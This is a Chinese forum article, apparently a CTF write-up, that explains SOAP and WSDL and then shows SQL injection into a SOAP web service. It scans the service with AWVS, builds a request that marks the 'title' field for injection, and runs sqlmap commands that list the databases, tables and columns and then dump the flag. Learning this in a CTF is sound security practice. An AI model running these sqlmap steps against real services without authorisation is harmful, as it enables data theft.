本文为看雪论坛优秀文章
看雪论坛作者ID:mb_tabcvksy
本文将介绍SOAP的相关内容,并结合一道CTF题目进行实战练习,帮助读者更容易掌握SOAP注入。
WebService是一种远程调用技术,实质就是一个程序向外界暴露出了一个可通过Web调用的API,传入的参数不限制就有可能导致SQL注入等漏洞的产生。它包括三个部分:XML+XSD、SOAP、WSDL。XML+XSD:描述、表达要传输的数据。
SOAP:交换XML编码信息的轻量级协议,以XML或XSD为载体,通过HTTP发送请求和接受结果。会在HTTP基础上增加特定消息头。
WSDL:一个基于XML的描述Web Service及函数、参数和返回值的语言。
简单来说,SOAP(Simple Object Access Protocol),简单对象访问协议,是一个可以在不同操作系统上运行的不同语言编写的应用程序之间进行传输通信的协议。封装:定义了一个框架,描述了消息中的内容是什么,谁应当处理它,它是可选的还是必须的。
编码规则:定义了一种序列化机制,用于交换应用程序定义的数据类型的实例。
RPC表示:定义用于表示远程过程调用和应答的协定。
SOAP绑定:约定使用底层传输协议来完成节点间交换SOAP封装。
SOAP基于HTTP协议传输,传输文本格式是XML,文档的消息结构如下:Envelope: 将该XML文档标识为一条SOAP消息。
Header:包含头部信息。
Body:包含所有调用和响应信息。
Fault:提供处理所发生的错误的信息。
<?xml version="1.0"?>
<soap:Envelope
xmlns:soap="http://xxx/soap-envelope"
soap:encodingStyle="http://xxx/soap-encoding">
<soap:Header>
</soap:Header>
<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>
</soap:Envelope>
注意必须使用XML编码,Envelope、Encoding命名空间,不能包含DTD(外部实体)引用,也不包含XML处理指令。下面将以一道CTF题目进行辅助讲解,帮助读者更好发掘SOAP注入。题目链接现已更新为:http://47.103.94.191:8018/判断SOAP
打开链接后,按照提示安装数据库完成初始化操作,进入到如下界面。
点击页面中的“WSDL”,查看xml文档。
发现xmlns.soap等关键字,判定为SOAP类型。于是可以使用AWVS扫描探测。AWVS探测
点击Targets->Add Target->填入要探测的URL并随便填写备注->Save->默认配置,之后直接点Scan->开始扫描。
可以看到扫描出来了SQL注入,而且还是盲注类型。点击该漏洞,右边出现了该漏洞的详细信息,往下拉到HTTP Request。
点左上角的复制,将整个请求包复制下来,在桌面新建一个txt文件,命名为soap.txt。打开,粘贴,在title那里加一个*(加*是让sqlmap探测这个位置),保存。请求包构造原理
这里解释一下该请求包后面的xml格式的内容是怎么构造出来的。<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Header />
<soap:Body>
<tns:get_tickets_stock>
<title>*</title>
</tns:get_tickets_stock>
</soap:Body>
</soap:Envelope>
可以发现,存在Envelope,Header,Body,但是没有Fault。要想解释清楚它是如何构造的,还需要结合原xml文档/ws_soap.php?wsdl如下所示:1、首先在这个文档里面找到xsd:string类型的对应标签,发现它在一个name为title里面,那么说明这里就是注入的地方,因此请求包那才在<title></title>中间加上*。
2、然后找到这个titlt所在的标签,为message,其name为:get_tickets_stockRequest。3、通过这个name找到调用这个message的地方,发现它在一个input标签中。4、随后发现它在一个operation标签里,并且这个标签的name为:get_tickets_stock。在body里面,首先通过<tns:get_tickets_stock>找到operation标签,运行标签里的输入框input,就开始调用message,通过message="tns:get_tickets_stockRequest"找到对应的message标签,最后运行到title那个标签。<tns:get_tickets_stock>
<title>*</title>
</tns:get_tickets_stock>
sqlmap注入
python sqlmap.py -r F:\\xxx\\soap.txt --batch --dbs
使用-r参数读取文件内容进行操作,后面跟的是soap.txt所在的绝对路径,--batch是在遇到选择时默认选yes,--dbs就是爆数据库名。
得到了几个数据库名,我们要的flag就在whalwl这个数据库名中。
python sqlmap.py -r F:\\xxx\\soap.txt --batch --tables -D "whalwl"
根据数据库名探测表名。
得到几个表名,很明显flag应该在this_flag表中。
python sqlmap.py -r F:\\xxx\\soap.txt --batch --columns -D "whalwl" -T "this_flag
根据数据库名和表名探测列名。
获取到了flag列,最后获取flag内容即可。python sqlmap.py -r F:\\xxx\\soap.txt --batch --dump -D "whalwl" -T "this_flag" -C "flag"
运行即可成功得到flag。
https://mp.weixin.qq.com/s/6k4O4prW8kAuXdpwNGm-yw看雪ID:mb_tabcvksy
https://bbs.pediy.com/user-home-927464.htm
*本文由看雪论坛 mb_tabcvksy 原创,转载请注明来自看雪社区
看雪CTF官网:https://ctf.pediy.com/
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458482754&idx=1&sn=820d5ccd0549517f877e453a393e6bfa&chksm=b18e48c886f9c1de7068fdcf3c1eeb2d05975807f7528811c04e638f6ac77bf5a00ee799b221#rd
如有侵权请联系:admin#unsafe.sh